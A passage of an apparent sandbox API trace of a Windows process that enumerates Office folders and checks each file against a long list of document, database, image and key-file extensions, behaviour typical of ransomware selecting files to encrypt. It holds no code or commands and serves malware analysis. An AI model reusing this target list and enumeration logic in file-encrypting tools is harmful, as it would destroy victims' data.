lpString2="t.thmx") returned -1 [0226.774] lstrlenW (lpString=".mka") returned 4 [0226.774] lstrcmpiW (lpString1=".mka", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mkidx") returned 6 [0226.774] lstrcmpiW (lpString1=".mkidx", lpString2="t.thmx") returned -1 [0226.774] lstrlenW (lpString=".mkv") returned 4 [0226.774] lstrcmpiW (lpString1=".mkv", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mos") returned 4 [0226.774] lstrcmpiW (lpString1=".mos", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mov") returned 4 [0226.774] lstrcmpiW (lpString1=".mov", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mp3") returned 4 [0226.774] lstrcmpiW (lpString1=".mp3", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mp4") returned 4 [0226.774] lstrcmpiW (lpString1=".mp4", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mpeg") returned 5 [0226.774] lstrcmpiW (lpString1=".mpeg", lpString2=".thmx") returned -1 [0226.774] lstrlenW (lpString=".mpg") returned 4 [0226.774] lstrcmpiW (lpString1=".mpg", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mpv") returned 4 [0226.774] lstrcmpiW (lpString1=".mpv", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mrw") returned 4 [0226.774] lstrcmpiW (lpString1=".mrw", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".msg") returned 4 [0226.774] lstrcmpiW (lpString1=".msg", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".mxl") returned 4 [0226.774] lstrcmpiW (lpString1=".mxl", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".myd") returned 4 [0226.774] lstrcmpiW (lpString1=".myd", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".myi") returned 4 [0226.774] lstrcmpiW (lpString1=".myi", lpString2="thmx") returned -1 [0226.774] lstrlenW (lpString=".nef") returned 4 [0226.775] lstrcmpiW (lpString1=".nef", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".nrw") returned 4 [0226.775] lstrcmpiW (lpString1=".nrw", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".obj") returned 4 [0226.775] lstrcmpiW (lpString1=".obj", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".odb") returned 4 [0226.775] lstrcmpiW (lpString1=".odb", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".odc") returned 4 [0226.775] lstrcmpiW (lpString1=".odc", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".odm") returned 4 [0226.775] lstrcmpiW (lpString1=".odm", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".odp") returned 4 [0226.775] lstrcmpiW (lpString1=".odp", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".ods") returned 4 [0226.775] lstrcmpiW (lpString1=".ods", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".oft") returned 4 [0226.775] lstrcmpiW (lpString1=".oft", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".one") returned 4 [0226.775] lstrcmpiW (lpString1=".one", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".onepkg") returned 7 [0226.775] lstrcmpiW (lpString1=".onepkg", lpString2="et.thmx") returned -1 [0226.775] lstrlenW (lpString=".onetoc2") returned 8 [0226.775] lstrcmpiW (lpString1=".onetoc2", lpString2="cet.thmx") returned -1 [0226.775] lstrlenW (lpString=".opt") returned 4 [0226.775] lstrcmpiW (lpString1=".opt", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".oqy") returned 4 [0226.775] lstrcmpiW (lpString1=".oqy", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".orf") returned 4 [0226.775] lstrcmpiW (lpString1=".orf", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".p12") returned 4 [0226.775] lstrcmpiW (lpString1=".p12", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".p7b") returned 4 [0226.775] lstrcmpiW (lpString1=".p7b", lpString2="thmx") returned -1 [0226.775] lstrlenW (lpString=".p7c") returned 4 [0226.776] lstrcmpiW (lpString1=".p7c", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pam") returned 4 [0226.776] lstrcmpiW (lpString1=".pam", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pbm") returned 4 [0226.776] lstrcmpiW (lpString1=".pbm", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pct") returned 4 [0226.776] lstrcmpiW (lpString1=".pct", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pcx") returned 4 [0226.776] lstrcmpiW (lpString1=".pcx", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pdd") returned 4 [0226.776] lstrcmpiW (lpString1=".pdd", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pdf") returned 4 [0226.776] lstrcmpiW (lpString1=".pdf", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pdp") returned 4 [0226.776] lstrcmpiW (lpString1=".pdp", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pef") returned 4 [0226.776] lstrcmpiW (lpString1=".pef", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pem") returned 4 [0226.776] lstrcmpiW (lpString1=".pem", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pff") returned 4 [0226.776] lstrcmpiW (lpString1=".pff", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pfm") returned 4 [0226.776] lstrcmpiW (lpString1=".pfm", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pfx") returned 4 [0226.776] lstrcmpiW (lpString1=".pfx", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".pgm") returned 4 [0226.776] lstrcmpiW (lpString1=".pgm", lpString2="thmx") returned -1 [0226.776] lstrlenW (lpString=".php") returned 4 [0226.777] lstrcmpiW (lpString1=".php", lpString2="thmx") returned -1 [0226.777] lstrlenW (lpString=".php3") returned 5 [0226.777] lstrcmpiW (lpString1=".php3", lpString2=".thmx") returned -1 [0226.777] lstrlenW (lpString=".php4") returned 5 [0226.777] lstrcmpiW (lpString1=".php4", lpString2=".thmx") returned -1 [0226.777] lstrlenW (lpString=".php5") returned 5 [0226.777] lstrcmpiW (lpString1=".php5", lpString2=".thmx") returned -1 [0226.777] lstrlenW (lpString=".phtml") returned 6 [0226.777] lstrcmpiW (lpString1=".phtml", lpString2="t.thmx") returned -1 [0226.777] lstrlenW (lpString=".pict") returned 5 [0226.777] lstrcmpiW (lpString1=".pict", lpString2=".thmx") returned -1 [0226.777] lstrlenW (lpString=".pl") returned 3 [0226.777] lstrcmpiW (lpString1=".pl", lpString2="hmx") returned -1 [0226.777] lstrlenW (lpString=".pls") returned 4 [0226.777] lstrcmpiW (lpString1=".pls", lpString2="thmx") returned -1 [0226.777] lstrlenW (lpString=".pm") returned 3 [0226.777] lstrcmpiW (lpString1=".pm", lpString2="hmx") returned -1 [0226.777] lstrlenW (lpString=".png") returned 4 [0226.777] lstrcmpiW (lpString1=".png", lpString2="thmx") returned -1 [0226.777] lstrlenW (lpString=".pnm") returned 4 [0226.777] lstrcmpiW (lpString1=".pnm", lpString2="thmx") returned -1 [0226.777] lstrlenW (lpString=".pot") returned 4 [0226.777] lstrcmpiW (lpString1=".pot", lpString2="thmx") returned -1 [0226.777] lstrlenW (lpString=".potm") returned 5 [0226.777] lstrcmpiW (lpString1=".potm", lpString2=".thmx") returned -1 [0226.777] lstrlenW (lpString=".potx") returned 5 [0226.777] lstrcmpiW (lpString1=".potx", lpString2=".thmx") returned -1 [0226.777] lstrlenW (lpString=".ppa") returned 4 [0226.778] lstrcmpiW (lpString1=".ppa", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".ppam") returned 5 [0226.778] lstrcmpiW (lpString1=".ppam", lpString2=".thmx") returned -1 [0226.778] lstrlenW (lpString=".ppm") returned 4 [0226.778] lstrcmpiW (lpString1=".ppm", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".pps") returned 4 [0226.778] lstrcmpiW (lpString1=".pps", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".ppsm") returned 5 [0226.778] lstrcmpiW (lpString1=".ppsm", lpString2=".thmx") returned -1 [0226.778] lstrlenW (lpString=".ppt") returned 4 [0226.778] lstrcmpiW (lpString1=".ppt", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".pptm") returned 5 [0226.778] lstrcmpiW (lpString1=".pptm", lpString2=".thmx") returned -1 [0226.778] lstrlenW (lpString=".pptx") returned 5 [0226.778] lstrcmpiW (lpString1=".pptx", lpString2=".thmx") returned -1 [0226.778] lstrlenW (lpString=".prn") returned 4 [0226.778] lstrcmpiW (lpString1=".prn", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".ps") returned 3 [0226.778] lstrcmpiW (lpString1=".ps", lpString2="hmx") returned -1 [0226.778] lstrlenW (lpString=".psb") returned 4 [0226.778] lstrcmpiW (lpString1=".psb", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".psd") returned 4 [0226.778] lstrcmpiW (lpString1=".psd", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".pst") returned 4 [0226.778] lstrcmpiW (lpString1=".pst", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".ptx") returned 4 [0226.778] lstrcmpiW (lpString1=".ptx", lpString2="thmx") returned -1 [0226.778] lstrlenW (lpString=".pub") returned 4 [0226.779] lstrcmpiW (lpString1=".pub", lpString2="thmx") returned -1 [0226.779] lstrlenW (lpString=".pwm") returned 4 [0226.779] lstrcmpiW (lpString1=".pwm", lpString2="thmx") returned -1 [0226.779] lstrlenW (lpString=".pxr") returned 4 [0226.779] lstrcmpiW (lpString1=".pxr", lpString2="thmx") returned -1 [0226.779] lstrlenW (lpString=".py") returned 3 [0226.779] lstrcmpiW (lpString1=".py", lpString2="hmx") returned -1 [0226.779] lstrlenW (lpString=".qt") returned 3 [0226.779] lstrcmpiW (lpString1=".qt", lpString2="hmx") returned -1 [0226.779] lstrlenW (lpString=".r3d") returned 4 [0226.779] lstrcmpiW (lpString1=".r3d", lpString2="thmx") returned -1 [0226.782] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office 2007 - 2010.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0226.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0226.783] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0226.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0226.787] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0226.789] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Constantia-Franklin Gothic Book.xml", cAlternateFileName="CONSTA~1.XML")) returned 1 [0226.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0226.791] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0226.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0226.791] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0227.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0227.162] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0227.165] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0227.165] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0227.171] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0227.172] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0228.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0228.557] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0228.559] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0228.559] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0228.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0228.573] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0228.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0228.575] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0228.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0228.576] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0228.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0228.582] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0228.582] FindClose (in: hFindFile=0x6cff88 | out: hFindFile=0x6cff88) returned 1 [0228.582] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0228.582] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0228.648] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0228.648] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0228.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0228.655] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0228.849] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0228.849] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0228.938] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x41dde38, Size=0x80000) returned 0x470c020 [0228.946] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xadb15e3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xadb15e3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xadb15e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR51F.GIF", cAlternateFileName="")) returned 1 [0228.946] lstrlenW (lpString="PDIR51F.GIF") returned 11 [0228.946] lstrlenW (lpString=".1cd") returned 4 [0228.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.946] lstrlenW (lpString=".3ds") returned 4 [0228.946] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0228.946] lstrlenW (lpString=".3fr") returned 4 [0228.946] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0228.946] lstrlenW (lpString=".3g2") returned 4 [0228.946] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0228.947] lstrlenW (lpString=".3gp") returned 4 [0228.947] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0228.947] lstrlenW (lpString=".7z") returned 3 [0228.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.947] lstrlenW (lpString=".accda") returned 6 [0228.947] lstrcmpiW (lpString1=".accda", lpString2="1F.GIF") returned -1 [0228.947] lstrlenW (lpString=".accdb") returned 6 [0228.947] lstrcmpiW (lpString1=".accdb", lpString2="1F.GIF") returned -1 [0228.947] lstrlenW (lpString=".accdc") returned 6 [0228.947] lstrcmpiW (lpString1=".accdc", lpString2="1F.GIF") returned -1 [0228.947] lstrlenW (lpString=".accde") returned 6 [0228.947] lstrcmpiW (lpString1=".accde", lpString2="1F.GIF") returned -1 [0228.947] lstrlenW (lpString=".accdt") returned 6 [0228.947] lstrcmpiW (lpString1=".accdt", lpString2="1F.GIF") returned -1 [0228.947] lstrlenW (lpString=".accdw") returned 6 [0228.947] lstrcmpiW (lpString1=".accdw", lpString2="1F.GIF") returned -1 [0228.947] lstrlenW (lpString=".adb") returned 4 [0228.947] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0228.947] lstrlenW (lpString=".adp") returned 4 [0228.947] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0228.947] lstrlenW (lpString=".ai") returned 3 [0228.947] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0228.947] lstrlenW (lpString=".ai3") returned 4 [0228.947] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0228.947] lstrlenW (lpString=".ai4") returned 4 [0228.947] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0228.947] lstrlenW (lpString=".ai5") returned 4 [0228.947] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0228.947] lstrlenW (lpString=".ai6") returned 4 [0228.948] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".ai7") returned 4 [0228.948] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".ai8") returned 4 [0228.948] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".anim") returned 5 [0228.948] lstrcmpiW (lpString1=".anim", lpString2="F.GIF") returned -1 [0228.948] lstrlenW (lpString=".arw") returned 4 [0228.948] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".as") returned 3 [0228.948] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0228.948] lstrlenW (lpString=".asa") returned 4 [0228.948] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".asc") returned 4 [0228.948] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".ascx") returned 5 [0228.948] lstrcmpiW (lpString1=".ascx", lpString2="F.GIF") returned -1 [0228.948] lstrlenW (lpString=".asm") returned 4 [0228.948] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".asmx") returned 5 [0228.948] lstrcmpiW (lpString1=".asmx", lpString2="F.GIF") returned -1 [0228.948] lstrlenW (lpString=".asp") returned 4 [0228.948] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0228.948] lstrlenW (lpString=".aspx") returned 5 [0228.948] lstrcmpiW (lpString1=".aspx", lpString2="F.GIF") returned -1 [0228.948] lstrlenW (lpString=".asr") returned 4 [0228.948] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0228.948] lstrlenW 